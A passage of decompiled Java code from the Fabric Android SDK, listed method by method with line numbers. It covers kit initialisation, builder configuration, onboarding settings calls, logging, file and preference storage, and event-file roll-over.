    setCurrentActivity(rootActivity);
}



179
180
181
182
183
184
185
186
187
188
189
190

with

Java Code
public static Fabric with(Context context, Kit... kits) {
    if (singleton == null) {
        synchronized (Fabric.class) {
            if (singleton == null) {
                setFabric(new Builder(context).kits(kits).build());
            }
        }
    }
    return singleton;
}



192
193
194
195
196
197
198
199
200
201

with

Java Code
public static Fabric with(Fabric fabric) {
    if (singleton == null) {
        synchronized (Fabric.class) {
            if (singleton == null) {
                setFabric(fabric);
            }
        }
    }
    return singleton;
}



203
204
205
206
207
208
209
210
211
212

setFabric

Java Code
private static void setFabric(Fabric fabric) {
    singleton = fabric;
    fabric.init();
}



214
215
216
217

setCurrentActivity

Java Code
public Fabric setCurrentActivity(Activity activity) {
    this.activity = new WeakReference(activity);
    return this;
}



219
220
221
222

getCurrentActivity

Java Code
public Activity getCurrentActivity() {
    if (this.activity != null) {
        return (Activity) this.activity.get();
    }
    return null;
}



224
225
226
227
228
229

init

Java Code
private void init() {
    this.activityLifecycleManager = new ActivityLifecycleManager(this.context);
    this.activityLifecycleManager.registerCallbacks(new Callbacks() {
        public void onActivityCreated(Activity activity, Bundle bundle) {
            Fabric.this.setCurrentActivity(activity);
        }
        public void onActivityStarted(Activity activity) {
            Fabric.this.setCurrentActivity(activity);
        }
        public void onActivityResumed(Activity activity) {
            Fabric.this.setCurrentActivity(activity);
        }
    });
    initializeKits(this.context);
}



231
232
233
234
235
236
238
239
240
242
243
244
245
246
247

onActivityCreated

Java Code
public void onActivityCreated(Activity activity, Bundle bundle) {
    Fabric.this.setCurrentActivity(activity);
}



234
235
236

onActivityStarted

Java Code
public void onActivityStarted(Activity activity) {
    Fabric.this.setCurrentActivity(activity);
}



238
239
240

onActivityResumed

Java Code
public void onActivityResumed(Activity activity) {
    Fabric.this.setCurrentActivity(activity);
}



242
243
244

getVersion

Java Code
public String getVersion() {
    return "1.4.1.19";
}



249
250
251

getIdentifier

Java Code
public String getIdentifier() {
    return "io.fabric.sdk.android:fabric";
}



253
254
255

initializeKits

Java Code
void initializeKits(Context context) {
    StringBuilder initInfo;
    Future<Map<String, KitInfo>> installedKitsFuture = getKitsFinderFuture(context);
    Collection<Kit> providedKits = getKits();
    Onboarding onboarding = new Onboarding(installedKitsFuture, providedKits);
    List<Kit> kits = new ArrayList(providedKits);
    Collections.sort(kits);
    onboarding.injectParameters(context, this, InitializationCallback.EMPTY, this.idManager);
    for (Kit kit : kits) {
        kit.injectParameters(context, this, this.kitInitializationCallback, this.idManager);
    }
    onboarding.initialize();
    if (getLogger().isLoggable(TAG, 3)) {
        initInfo = new StringBuilder("Initializing ").append(getIdentifier()).append(" [Version: ").append(getVersion()).append("], with the following kits:\n");
    } else {
        initInfo = null;
    }
    for (Kit kit2 : kits) {
        kit2.initializationTask.addDependency(onboarding.initializationTask);
        addAnnotatedDependencies(this.kits, kit2);
        kit2.initialize();
        if (initInfo != null) {
            initInfo.append(kit2.getIdentifier()).append(" [Version: ").append(kit2.getVersion()).append("]\n");
        }
    }
    if (initInfo != null) {
        getLogger().d(TAG, initInfo.toString());
    }
}



257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285

addAnnotatedDependencies

Java Code
void addAnnotatedDependencies(Map<Class<? extends Kit>, Kit> kits, Kit dependentKit) {
    DependsOn dependsOn = dependentKit.dependsOnAnnotation;
    if (dependsOn != null) {
        for (Class<?> dependency : dependsOn.value()) {
            if (dependency.isInterface()) {
                for (Kit kit : kits.values()) {
                    if (dependency.isAssignableFrom(kit.getClass())) {
                        dependentKit.initializationTask.addDependency(kit.initializationTask);
                    }
                }
            } else if (((Kit) kits.get(dependency)) == null) {
                throw new UnmetDependencyException("Referenced Kit was null, does the kit exist?");
            } else {
                dependentKit.initializationTask.addDependency(((Kit) kits.get(dependency)).initializationTask);
            }
        }
    }
}



287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304

extractActivity

Java Code
private static Activity extractActivity(Context context) {
    if (context instanceof Activity) {
        return (Activity) context;
    }
    return null;
}



306
307
308
309
310
311

getActivityLifecycleManager

Java Code
public ActivityLifecycleManager getActivityLifecycleManager() {
    return this.activityLifecycleManager;
}



313
314
315

getExecutorService

Java Code
public ExecutorService getExecutorService() {
    return this.executorService;
}



317
318
319

getMainHandler

Java Code
public Handler getMainHandler() {
    return this.mainHandler;
}



321
322
323

getKits

Java Code
public Collection<Kit> getKits() {
    return this.kits.values();
}



325
326
327

getKit

Java Code
public static <T extends Kit> T getKit(Class<T> cls) {
    return (Kit) singleton().kits.get(cls);
}



329
330
331

getLogger

Java Code
public static Logger getLogger() {
    if (singleton == null) {
        return DEFAULT_LOGGER;
    }
    return singleton.logger;
}



333
334
335
336
337
338

isDebuggable

Java Code
public static boolean isDebuggable() {
    if (singleton == null) {
        return false;
    }
    return singleton.debuggable;
}



340
341
342
343
344
345

isInitialized

Java Code
public static boolean isInitialized() {
    return singleton != null && singleton.initialized.get();
}



347
348
349

getAppIdentifier

Java Code
public String getAppIdentifier() {
    return this.idManager.getAppIdentifier();
}



351
352
353

getAppInstallIdentifier

Java Code
public String getAppInstallIdentifier() {
    return this.idManager.getAppInstallIdentifier();
}



355
356
357

getKitMap

Java Code
private static Map<Class<? extends Kit>, Kit> getKitMap(Collection<? extends Kit> kits) {
    HashMap<Class<? extends Kit>, Kit> map = new HashMap(kits.size());
    addToKitMap(map, kits);
    return map;
}



359
360
361
362
363

addToKitMap

Java Code
private static void addToKitMap(Map<Class<? extends Kit>, Kit> map, Collection<? extends Kit> kits) {
    for (Kit kit : kits) {
        map.put(kit.getClass(), kit);
        if (kit instanceof KitGroup) {
            addToKitMap(map, ((KitGroup) kit).getKits());
        }
    }
}



365
366
367
368
369
370
371
372

createKitInitializationCallback

Java Code
InitializationCallback<?> createKitInitializationCallback(final int size) {
    return new InitializationCallback() {
        final CountDownLatch kitInitializedLatch = new CountDownLatch(size);



374
375
376

success

Java Code
public void success(Object o) {
    this.kitInitializedLatch.countDown();
    if (this.kitInitializedLatch.getCount() == 0) {
        Fabric.this.initialized.set(true);
        Fabric.this.initializationCallback.success(Fabric.this);
    }
}



378
379
380
381
382
383
384

failure

Java Code
public void failure(Exception exception) {
    Fabric.this.initializationCallback.failure(exception);
}



386
387
388

getKitsFinderFuture

Java Code
Future<Map<String, KitInfo>> getKitsFinderFuture(Context context) {
    return getExecutorService().submit(new FabricKitsFinder(context.getPackageCodePath()));
}



392
393
394

Builder

Java Code
public Builder(Context context) {
    if (context == null) {
        throw new IllegalArgumentException("Context must not be null.");
    }
    this.context = context;
}



56
57
58
59
60
61

kits

Java Code
public Builder kits(Kit... kits) {
    if (this.kits != null) {
        throw new IllegalStateException("Kits already set.");
    }
    this.kits = kits;
    return this;
}



63
64
65
66
67
68
69

executorService

Java Code
public Builder executorService(ExecutorService executorService) {
    return this;
}



72
73
74

threadPoolExecutor

Java Code
public Builder threadPoolExecutor(PriorityThreadPoolExecutor threadPoolExecutor) {
    if (threadPoolExecutor == null) {
        throw new IllegalArgumentException("PriorityThreadPoolExecutor must not be null.");
    } else if (this.threadPoolExecutor != null) {
        throw new IllegalStateException("PriorityThreadPoolExecutor already set.");
    } else {
        this.threadPoolExecutor = threadPoolExecutor;
        return this;
    }
}



76
77
78
79
80
81
82
83
84
85

handler

Java Code
public Builder handler(Handler handler) {
    return this;
}



88
89
90

logger

Java Code
public Builder logger(Logger logger) {
    if (logger == null) {
        throw new IllegalArgumentException("Logger must not be null.");
    } else if (this.logger != null) {
        throw new IllegalStateException("Logger already set.");
    } else {
        this.logger = logger;
        return this;
    }
}



92
93
94
95
96
97
98
99
100
101

appIdentifier

Java Code
public Builder appIdentifier(String appIdentifier) {
    if (appIdentifier == null) {
        throw new IllegalArgumentException("appIdentifier must not be null.");
    } else if (this.appIdentifier != null) {
        throw new IllegalStateException("appIdentifier already set.");
    } else {
        this.appIdentifier = appIdentifier;
        return this;
    }
}



103
104
105
106
107
108
109
110
111
112

appInstallIdentifier

Java Code
public Builder appInstallIdentifier(String appInstallIdentifier) {
    if (appInstallIdentifier == null) {
        throw new IllegalArgumentException("appInstallIdentifier must not be null.");
    } else if (this.appInstallIdentifier != null) {
        throw new IllegalStateException("appInstallIdentifier already set.");
    } else {
        this.appInstallIdentifier = appInstallIdentifier;
        return this;
    }
}



114
115
116
117
118
119
120
121
122
123

debuggable

Java Code
public Builder debuggable(boolean enabled) {
    this.debuggable = enabled;
    return this;
}



125
126
127
128

initializationCallback

Java Code
public Builder initializationCallback(InitializationCallback<Fabric> initializationCallback) {
    if (initializationCallback == null) {
        throw new IllegalArgumentException("initializationCallback must not be null.");
    } else if (this.initializationCallback != null) {
        throw new IllegalStateException("initializationCallback already set.");
    } else {
        this.initializationCallback = initializationCallback;
        return this;
    }
}



130
131
132
133
134
135
136
137
138
139

build

Java Code
public Fabric build() {
    Map<Class<? extends Kit>, Kit> kitMap;
    if (this.threadPoolExecutor == null) {
        this.threadPoolExecutor = PriorityThreadPoolExecutor.create();
    }
    if (this.handler == null) {
        this.handler = new Handler(Looper.getMainLooper());
    }
    if (this.logger == null) {
        if (this.debuggable) {
            this.logger = new DefaultLogger(3);
        } else {
            this.logger = new DefaultLogger();
        }
    }
    if (this.appIdentifier == null) {
        this.appIdentifier = this.context.getPackageName();
    }
    if (this.initializationCallback == null) {
        this.initializationCallback = InitializationCallback.EMPTY;
    }
    if (this.kits == null) {
        kitMap = new HashMap();
    } else {
        kitMap = Fabric.getKitMap(Arrays.asList(this.kits));
    }
    Context appContext = this.context.getApplicationContext();
    return new Fabric(appContext, kitMap, this.threadPoolExecutor, this.handler, this.logger, this.debuggable, this.initializationCallback, new IdManager(appContext, this.appIdentifier, this.appInstallIdentifier, kitMap.values()), Fabric.extractActivity(this.context));
}



141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

KitInfo

Java Code
public KitInfo(String identifier, String version, String buildType) {
    this.identifier = identifier;
    this.version = version;
    this.buildType = buildType;
}



8
9
10
11
12

getIdentifier

Java Code
public String getIdentifier() {
    return this.identifier;
}



14
15
16

getVersion

Java Code
public String getVersion() {
    return this.version;
}



18
19
20

getBuildType

Java Code
public String getBuildType() {
    return this.buildType;
}



22
23
24

<clinit>

Java Code



doInBackground

Java Code



getIdentifier

Java Code



getVersion

Java Code



injectParameters

Java Code
void injectParameters(Context context, Fabric fabric, InitializationCallback<Result> callback, IdManager idManager) {
    this.fabric = fabric;
    this.context = new FabricContext(context, getIdentifier(), getPath());
    this.initializationCallback = callback;
    this.idManager = idManager;
}



24
25
26
27
28
29

initialize

Java Code
final void initialize() {
    this.initializationTask.executeOnExecutor(this.fabric.getExecutorService(), (Void) null);
}



31
32
33

onPreExecute

Java Code
protected boolean onPreExecute() {
    return true;
}



35
36
37

onPostExecute

Java Code



onCancelled

Java Code



getIdManager

Java Code
protected IdManager getIdManager() {
    return this.idManager;
}



45
46
47

getContext

Java Code
public Context getContext() {
    return this.context;
}



49
50
51

getFabric

Java Code
public Fabric getFabric() {
    return this.fabric;
}



53
54
55

getPath

Java Code
public String getPath() {
    return ".Fabric" + File.separator + getIdentifier();
}



57
58
59

compareTo

Java Code
public int compareTo(Kit another) {
    if (containsAnnotatedDependency(another)) {
        return 1;
    }
    if (another.containsAnnotatedDependency(this)) {
        return -1;
    }
    if (hasAnnotatedDependency() && !another.hasAnnotatedDependency()) {
        return 1;
    }
    if (hasAnnotatedDependency() || !another.hasAnnotatedDependency()) {
        return 0;
    }
    return -1;
}



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

containsAnnotatedDependency

Java Code
boolean containsAnnotatedDependency(Kit target) {
    if (!hasAnnotatedDependency()) {
        return false;
    }
    for (Class<?> dep : this.dependsOnAnnotation.value()) {
        if (dep.isAssignableFrom(target.getClass())) {
            return true;
        }
    }
    return false;
}



77
78
79
80
81
82
83
84
85
86
87

hasAnnotatedDependency

Java Code
boolean hasAnnotatedDependency() {
    return this.dependsOnAnnotation != null;
}



89
90
91

getDependencies

Java Code
protected Collection<Task> getDependencies() {
    return this.initializationTask.getDependencies();
}



93
94
95

FabricContext

Java Code
public FabricContext(Context base, String componentName, String componentPath) {
    super(base);
    this.componentName = componentName;
    this.componentPath = componentPath;
}



16
17
18
19
20

getDatabasePath

Java Code
public File getDatabasePath(String name) {
    File dir = new File(super.getDatabasePath(name).getParentFile(), this.componentPath);
    dir.mkdirs();
    return new File(dir, name);
}



22
23
24
25
26

openOrCreateDatabase

Java Code
public SQLiteDatabase openOrCreateDatabase(String name, int mode, CursorFactory factory) {
    return SQLiteDatabase.openOrCreateDatabase(getDatabasePath(name), factory);
}



28
29
30

openOrCreateDatabase

Java Code
public SQLiteDatabase openOrCreateDatabase(String name, int mode, CursorFactory factory, DatabaseErrorHandler errorHandler) {
    return SQLiteDatabase.openOrCreateDatabase(getDatabasePath(name).getPath(), factory, errorHandler);
}



33
34
35

getFilesDir

Java Code
public File getFilesDir() {
    return new File(super.getFilesDir(), this.componentPath);
}



37
38
39

getExternalFilesDir

Java Code
public File getExternalFilesDir(String type) {
    return new File(super.getExternalFilesDir(type), this.componentPath);
}



42
43
44

getCacheDir

Java Code
public File getCacheDir() {
    return new File(super.getCacheDir(), this.componentPath);
}



46
47
48

getExternalCacheDir

Java Code
public File getExternalCacheDir() {
    return new File(super.getExternalCacheDir(), this.componentPath);
}



51
52
53

getSharedPreferences

Java Code
public SharedPreferences getSharedPreferences(String name, int mode) {
    return super.getSharedPreferences(this.componentName + ":" + name, mode);
}



55
56
57

d

Java Code



d

Java Code



e

Java Code



e

Java Code



getLogLevel

Java Code



i

Java Code



i

Java Code



isLoggable

Java Code



log

Java Code



log

Java Code



setLogLevel

Java Code



v

Java Code



v

Java Code



w

Java Code



w

Java Code



Onboarding

Java Code
public Onboarding(Future<Map<String, KitInfo>> kitsFinder, Collection<Kit> providedKits) {
    this.kitsFinder = kitsFinder;
    this.providedKits = providedKits;
}



39
40
41
42

getVersion

Java Code
public String getVersion() {
    return "1.4.1.19";
}



44
45
46

onPreExecute

Java Code
protected boolean onPreExecute() {
    try {
        this.installerPackageName = getIdManager().getInstallerPackageName();
        this.packageManager = getContext().getPackageManager();
        this.packageName = getContext().getPackageName();
        this.packageInfo = this.packageManager.getPackageInfo(this.packageName, 0);
        this.versionCode = Integer.toString(this.packageInfo.versionCode);
        this.versionName = this.packageInfo.versionName == null ? IdManager.DEFAULT_VERSION_NAME : this.packageInfo.versionName;
        this.applicationLabel = this.packageManager.getApplicationLabel(getContext().getApplicationInfo()).toString();
        this.targetAndroidSdkVersion = Integer.toString(getContext().getApplicationInfo().targetSdkVersion);
        return true;
    } catch (NameNotFoundException e) {
        Fabric.getLogger().e(Fabric.TAG, "Failed init", e);
        return false;
    }
}



48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

doInBackground

Java Code
protected Boolean doInBackground() {
    String iconHash = CommonUtils.getAppIconHashOrNull(getContext());
    boolean appConfigured = false;
    SettingsData settingsData = retrieveSettingsData();
    if (settingsData != null) {
        try {
            Map<String, KitInfo> scannedKits;
            if (this.kitsFinder != null) {
                scannedKits = (Map) this.kitsFinder.get();
            } else {
                scannedKits = new HashMap();
            }
            appConfigured = performAutoConfigure(iconHash, settingsData.appData, mergeKits(scannedKits, this.providedKits).values());
        } catch (Exception e) {
            Fabric.getLogger().e(Fabric.TAG, "Error performing auto configuration.", e);
        }
    }
    return Boolean.valueOf(appConfigured);
}



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

retrieveSettingsData

Java Code
private SettingsData retrieveSettingsData() {
    try {
        Settings.getInstance().initialize(this, this.idManager, this.requestFactory, this.versionCode, this.versionName, getOverridenSpiEndpoint()).loadSettingsData();
        return Settings.getInstance().awaitSettingsData();
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, "Error dealing with settings", e);
        return null;
    }
}



85
86
87
88
89
90
91
92
93

mergeKits

Java Code
Map<String, KitInfo> mergeKits(Map<String, KitInfo> scannedKits, Collection<Kit> providedKits) {
    for (Kit kit : providedKits) {
        if (!scannedKits.containsKey(kit.getIdentifier())) {
            scannedKits.put(kit.getIdentifier(), new KitInfo(kit.getIdentifier(), kit.getVersion(), BINARY_BUILD_TYPE));
        }
    }
    return scannedKits;
}



95
96
97
98
99
100
101
102

getIdentifier

Java Code
public String getIdentifier() {
    return "io.fabric.sdk.android:fabric";
}



104
105
106

performAutoConfigure

Java Code
private boolean performAutoConfigure(String iconHash, AppSettingsData appSettings, Collection<KitInfo> sdkKits) {
    if (AppSettingsData.STATUS_NEW.equals(appSettings.status)) {
        if (performCreateApp(iconHash, appSettings, sdkKits)) {
            return Settings.getInstance().loadSettingsSkippingCache();
        }
        Fabric.getLogger().e(Fabric.TAG, "Failed to create app with Crashlytics service.", null);
        return false;
    } else if (AppSettingsData.STATUS_CONFIGURED.equals(appSettings.status)) {
        return Settings.getInstance().loadSettingsSkippingCache();
    } else {
        if (!appSettings.updateRequired) {
            return true;
        }
        Fabric.getLogger().d(Fabric.TAG, "Server says an update is required - forcing a full App update.");
        performUpdateApp(iconHash, appSettings, (Collection) sdkKits);
        return true;
    }
}



108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125

performCreateApp

Java Code
private boolean performCreateApp(String iconHash, AppSettingsData appSettings, Collection<KitInfo> sdkKits) {
    return new CreateAppSpiCall(this, getOverridenSpiEndpoint(), appSettings.url, this.requestFactory).invoke(buildAppRequest(IconRequest.build(getContext(), iconHash), sdkKits));
}



127
128
129

performUpdateApp

Java Code
private boolean performUpdateApp(String iconHash, AppSettingsData appSettings, Collection<KitInfo> sdkKits) {
    return performUpdateApp(appSettings, IconRequest.build(getContext(), iconHash), (Collection) sdkKits);
}



131
132
133

performUpdateApp

Java Code
private boolean performUpdateApp(AppSettingsData appSettings, IconRequest iconRequest, Collection<KitInfo> sdkKits) {
    return new UpdateAppSpiCall(this, getOverridenSpiEndpoint(), appSettings.url, this.requestFactory).invoke(buildAppRequest(iconRequest, sdkKits));
}



135
136
137

buildAppRequest

Java Code
private AppRequestData buildAppRequest(IconRequest iconRequest, Collection<KitInfo> sdkKits) {
    return new AppRequestData(new ApiKey().getValue(getContext()), getIdManager().getAppIdentifier(), this.versionName, this.versionCode, CommonUtils.createInstanceIdFrom(CommonUtils.resolveBuildId(context)), this.applicationLabel, DeliveryMechanism.determineFrom(this.installerPackageName).getId(), this.targetAndroidSdkVersion, "0", iconRequest, sdkKits);
}



139
140
141

getOverridenSpiEndpoint

Java Code
String getOverridenSpiEndpoint() {
    return CommonUtils.getStringsFileValue(getContext(), CRASHLYTICS_API_ENDPOINT);
}



143
144
145

DefaultLogger

Java Code
public DefaultLogger(int logLevel) {
    this.logLevel = logLevel;
}



8
9
10

DefaultLogger

Java Code
public DefaultLogger() {
    this.logLevel = 4;
}



12
13
14

isLoggable

Java Code
public boolean isLoggable(String tag, int level) {
    return this.logLevel <= level;
}



16
17
18

getLogLevel

Java Code
public int getLogLevel() {
    return this.logLevel;
}



20
21
22

setLogLevel

Java Code
public void setLogLevel(int logLevel) {
    this.logLevel = logLevel;
}



24
25
26

d

Java Code
public void d(String tag, String text, Throwable throwable) {
    if (isLoggable(tag, 3)) {
        Log.d(tag, text, throwable);
    }
}



28
29
30
31
32

v

Java Code
public void v(String tag, String text, Throwable throwable) {
    if (isLoggable(tag, 2)) {
        Log.v(tag, text, throwable);
    }
}



34
35
36
37
38

i

Java Code
public void i(String tag, String text, Throwable throwable) {
    if (isLoggable(tag, 4)) {
        Log.i(tag, text, throwable);
    }
}



40
41
42
43
44

w

Java Code
public void w(String tag, String text, Throwable throwable) {
    if (isLoggable(tag, 5)) {
        Log.w(tag, text, throwable);
    }
}



46
47
48
49
50

e

Java Code
public void e(String tag, String text, Throwable throwable) {
    if (isLoggable(tag, 6)) {
        Log.e(tag, text, throwable);
    }
}



52
53
54
55
56

d

Java Code
public void d(String tag, String text) {
    d(tag, text, null);
}



58
59
60

v

Java Code
public void v(String tag, String text) {
    v(tag, text, null);
}



62
63
64

i

Java Code
public void i(String tag, String text) {
    i(tag, text, null);
}



66
67
68

w

Java Code
public void w(String tag, String text) {
    w(tag, text, null);
}



70
71
72

e

Java Code
public void e(String tag, String text) {
    e(tag, text, null);
}



74
75
76

log

Java Code
public void log(int priority, String tag, String msg) {
    log(priority, tag, msg, false);
}



78
79
80

log

Java Code
public void log(int priority, String tag, String msg, boolean forceLog) {
    if (forceLog || isLoggable(tag, priority)) {
        Log.println(priority, tag, msg);
    }
}



82
83
84
85
86

edit

Java Code



get

Java Code



save

Java Code



FileStoreImpl

Java Code
public FileStoreImpl(Kit kit) {
    if (kit.getContext() == null) {
        throw new IllegalStateException("Cannot get directory before context has been set. Call Fabric.with() first");
    }
    this.context = kit.getContext();
    this.contentPath = kit.getPath();
    this.legacySupport = "Android/" + this.context.getPackageName();
}



16
17
18
19
20
21
22
23

getCacheDir

Java Code
public File getCacheDir() {
    return prepare(this.context.getCacheDir());
}



25
26
27

getExternalCacheDir

Java Code
public File getExternalCacheDir() {
    File file = null;
    if (isExternalStorageAvailable()) {
        if (VERSION.SDK_INT >= 8) {
            file = this.context.getExternalCacheDir();
        } else {
            file = new File(Environment.getExternalStorageDirectory(), this.legacySupport + "/cache/" + this.contentPath);
        }
    }
    return prepare(file);
}



29
30
31
32
33
34
35
36
37
38
39

getFilesDir

Java Code
public File getFilesDir() {
    return prepare(this.context.getFilesDir());
}



41
42
43

getExternalFilesDir

Java Code
public File getExternalFilesDir() {
    File file = null;
    if (isExternalStorageAvailable()) {
        if (VERSION.SDK_INT >= 8) {
            file = this.context.getExternalFilesDir(null);
        } else {
            file = new File(Environment.getExternalStorageDirectory(), this.legacySupport + "/files/" + this.contentPath);
        }
    }
    return prepare(file);
}



46
47
48
49
50
51
52
53
54
55
56

prepare

Java Code
File prepare(File file) {
    if (file == null) {
        Fabric.getLogger().d(Fabric.TAG, "Null File");
    } else if (file.exists() || file.mkdirs()) {
        return file;
    } else {
        Fabric.getLogger().w(Fabric.TAG, "Couldn't create file");
    }
    return null;
}



58
59
60
61
62
63
64
65
66
67

isExternalStorageAvailable

Java Code
boolean isExternalStorageAvailable() {
    if ("mounted".equals(Environment.getExternalStorageState())) {
        return true;
    }
    Fabric.getLogger().w(Fabric.TAG, "External Storage is not mounted and/or writable\nHave you declared android.permission.WRITE_EXTERNAL_STORAGE in the manifest?");
    return false;
}



69
70
71
72
73
74
75

clear

Java Code



restore

Java Code



save

Java Code



PreferenceStoreStrategy

Java Code
public PreferenceStoreStrategy(PreferenceStore store, SerializationStrategy<T> serializer, String preferenceKey) {
    this.store = store;
    this.serializer = serializer;
    this.key = preferenceKey;
}



10
11
12
13
14

save

Java Code
public void save(T object) {
    this.store.save(this.store.edit().putString(this.key, this.serializer.serialize(object)));
}



17
18
19

restore

Java Code
public T restore() {
    return this.serializer.deserialize(this.store.get().getString(this.key, null));
}



21
22
23

clear

Java Code
public void clear() {
    this.store.edit().remove(this.key).commit();
}



26
27
28

getCacheDir

Java Code



getExternalCacheDir

Java Code



getExternalFilesDir

Java Code



getFilesDir

Java Code



PreferenceStoreImpl

Java Code
public PreferenceStoreImpl(Context context, String name) {
    if (context == null) {
        throw new IllegalStateException("Cannot get directory before context has been set. Call Fabric.with() first");
    }
    this.context = context;
    this.preferenceName = name;
    this.sharedPreferences = this.context.getSharedPreferences(this.preferenceName, 0);
}



15
16
17
18
19
20
21
22

PreferenceStoreImpl

Java Code
public PreferenceStoreImpl(Kit kit) {
    this(kit.getContext(), kit.getClass().getName());
}



25
26
27

get

Java Code
public SharedPreferences get() {
    return this.sharedPreferences;
}



29
30
31

edit

Java Code
public Editor edit() {
    return this.sharedPreferences.edit();
}



33
34
35

save

Java Code
public boolean save(Editor editor) {
    if (VERSION.SDK_INT < 9) {
        return editor.commit();
    }
    editor.apply();
    return true;
}



38
39
40
41
42
43
44

deserialize

Java Code



serialize

Java Code



load

Java Code



cacheValue

Java Code



doInvalidate

Java Code



getCached

Java Code



AbstractValueCache

Java Code
public AbstractValueCache() {
    this(null);
}



14
15
16

AbstractValueCache

Java Code
public AbstractValueCache(ValueCache<T> childCache) {
    this.childCache = childCache;
}



18
19
20

get

Java Code
public final synchronized T get(Context context, ValueLoader<T> loader) throws Exception {
    T value;
    value = getCached(context);
    if (value == null) {
        value = this.childCache != null ? this.childCache.get(context, loader) : loader.load(context);
        cache(context, value);
    }
    return value;
}



22
23
24
25
26
27
28
29
30

invalidate

Java Code
public final synchronized void invalidate(Context context) {
    doInvalidate(context);
}



32
33
34

cache

Java Code
private void cache(Context context, T value) {
    if (value == null) {
        throw new NullPointerException();
    }
    cacheValue(context, value);
}



36
37
38
39
40
41

MemoryValueCache

Java Code
public MemoryValueCache() {
    this(null);
}



8
9
10

MemoryValueCache

Java Code
public MemoryValueCache(ValueCache<T> childCache) {
    super(childCache);
}



12
13
14

doInvalidate

Java Code
protected void doInvalidate(Context context) {
    this.value = null;
}



16
17
18

getCached

Java Code
protected T getCached(Context context) {
    return this.value;
}



20
21
22

cacheValue

Java Code
protected void cacheValue(Context context, T value) {
    this.value = value;
}



24
25
26

get

Java Code



invalidate

Java Code



toBytes

Java Code



send

Java Code



getFilesSender

Java Code



sendEvents

Java Code



deleteAllEvents

Java Code



recordEvent

Java Code



cancelTimeBasedFileRollOver

Java Code



scheduleTimeBasedRollOverIfNeeded

Java Code



rollFileOver

Java Code
public boolean rollFileOver() {
    return false;
}



19
20
21

getFilesSender

Java Code
public FilesSender getFilesSender() {
    return null;
}



23
24
25

add

Java Code



canWorkingFileStore

Java Code



deleteFilesInRollOverDirectory

Java Code



deleteWorkingFile

Java Code



getAllFilesInRollOverDirectory

Java Code



getBatchOfFilesToSend

Java Code



getRollOverDirectory

Java Code



getWorkingDirectory

Java Code



getWorkingFileUsedSizeInBytes

Java Code



isWorkingFileEmpty

Java Code



rollOver

Java Code



cancelTimeBasedFileRollOver

Java Code



rollFileOver

Java Code



scheduleTimeBasedRollOverIfNeeded

Java Code



generateUniqueRollOverFileName

Java Code



EventsFilesManager

Java Code
public EventsFilesManager(Context context, EventTransform<T> transform, CurrentTimeProvider currentTimeProvider, EventsStorage eventStorage, int defaultMaxFilesToKeep) throws IOException {
    this.context = context.getApplicationContext();
    this.transform = transform;
    this.eventStorage = eventStorage;
    this.currentTimeProvider = currentTimeProvider;
    this.lastRollOverTime = this.currentTimeProvider.getCurrentTimeMillis();
    this.defaultMaxFilesToKeep = defaultMaxFilesToKeep;
}



42
43
44
45
46
47
48
49

writeEvent

Java Code
public void writeEvent(T event) throws IOException {
    byte[] eventBytes = this.transform.toBytes(event);
    rollFileOverIfNeeded(eventBytes.length);
    this.eventStorage.add(eventBytes);
}



51
52
53
54
55

registerRollOverListener

Java Code
public void registerRollOverListener(EventsStorageListener listener) {
    if (listener != null) {
        this.rollOverListeners.add(listener);
    }
}



57
58
59
60
61

rollFileOver

Java Code
public boolean rollFileOver() throws IOException {
    boolean fileRolledOver = false;
    String targetFileName = null;
    if (!this.eventStorage.isWorkingFileEmpty()) {
        targetFileName = generateUniqueRollOverFileName();
        this.eventStorage.rollOver(targetFileName);
        CommonUtils.logControlled(this.context, 4, Fabric.TAG, String.format(Locale.US, "generated new file %s", new Object[]{targetFileName}));
        this.lastRollOverTime = this.currentTimeProvider.getCurrentTimeMillis();
        fileRolledOver = true;
    }
    triggerRollOverOnListeners(targetFileName);
    return fileRolledOver;
}



63
64
65
66
67
68
69
70
71
72
73
74
75

rollFileOverIfNeeded

Java Code
private void rollFileOverIfNeeded(int newEventSizeInBytes) throws IOException {
    if (!this.eventStorage.canWorkingFileStore(newEventSizeInBytes, getMaxByteSizePerFile())) {
        CommonUtils.logControlled(this.context, 4, Fabric.TAG, String.format(Locale.US, "session analytics events file is %d bytes, new event is %d bytes, this is over flush limit of %d, rolling it over", new Object[]{Integer.valueOf(this.eventStorage.getWorkingFileUsedSizeInBytes()), Integer.valueOf(newEventSizeInBytes), Integer.valueOf(getMaxByteSizePerFile())}));
        rollFileOver();
    }
}



77
78
79
80
81
82

getMaxFilesToKeep

Java Code
protected int getMaxFilesToKeep() {
    return this.defaultMaxFilesToKeep;
}



84
85
86

getMaxByteSizePerFile

Java Code
protected int getMaxByteSizePerFile() {
    return 8000;
}



88
89
90

getLastRollOverTime

Java Code
public long getLastRollOverTime() {
    return this.lastRollOverTime;
}



92
93
94

triggerRollOverOnListeners

Java Code
private void triggerRollOverOnListeners(String rolledOverFile) {
    for (EventsStorageListener eventStorageRollOverListener : this.rollOverListeners) {
        try {
            eventStorageRollOverListener.onRollOver(rolledOverFile);
        } catch (Exception e) {
            CommonUtils.logControlledError(this.context, "One of the roll over listeners threw an exception", e);
        }
    }
}



96
97
98
99
100
101
102
103
104

getBatchOfFilesToSend

Java Code
public List<File> getBatchOfFilesToSend() {
    return this.eventStorage.getBatchOfFilesToSend(1);
}



106
107
108

deleteSentFiles

Java Code
public void deleteSentFiles(List<File> files) {
    this.eventStorage.deleteFilesInRollOverDirectory(files);
}



110
111
112

deleteAllEventsFiles

Java Code
public void deleteAllEventsFiles() {
    this.eventStorage.deleteFilesInRollOverDirectory(this.eventStorage.getAllFilesInRollOverDirectory());
    this.eventStorage.deleteWorkingFile();
}



114
115
116
117

deleteOldestInRollOverIfOverMax

Java Code
public void deleteOldestInRollOverIfOverMax() {
    List<File> allFiles = this.eventStorage.getAllFilesInRollOverDirectory();
    int maxFiles = getMaxFilesToKeep();
    if (allFiles.size() > maxFiles) {
        int numberOfFilesToDelete = allFiles.size() - maxFiles;
